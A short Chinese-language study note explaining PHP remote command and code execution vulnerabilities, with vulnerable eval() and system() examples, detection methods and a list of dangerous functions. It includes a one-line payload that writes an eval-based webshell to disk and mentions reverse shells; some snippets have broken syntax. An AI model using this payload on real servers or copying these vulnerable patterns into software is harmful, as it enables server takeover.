漏洞原理及危害·

RCE Remote Command/Code Execute远程代码/命令执行漏洞

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

漏洞成因:存在代码调用代码或系统命令;用户可控变量、漏洞函数

危害:

  • 代码执行:看语言

  • 命令执行:导致任意系统命令执行(getshell)

案例·

1
2
3
4
<?php
$c = $_GET['c'];
eval($c)
?>

直接url+?c=命令;

写入木马:fputs(fopen('a.php','w),'<?php eval($_POST[1]; phpinfo(); ?>');

1
2
3
4
<?php
$c = $_GET['c'];
system($c)
?>

漏洞检测·

白盒测试:代码审计

黑盒测试:漏扫工具、nday漏洞、手动测试

RCE危险函数·

命令执行·

system()

exec() 结果不显示

shell_exec()完整输出

popen()打开进程文件指针

passthru() 类似system

pcntl_exec() Linux 反弹shell

代码执行·

eval() 把字符串转为PHP代码执行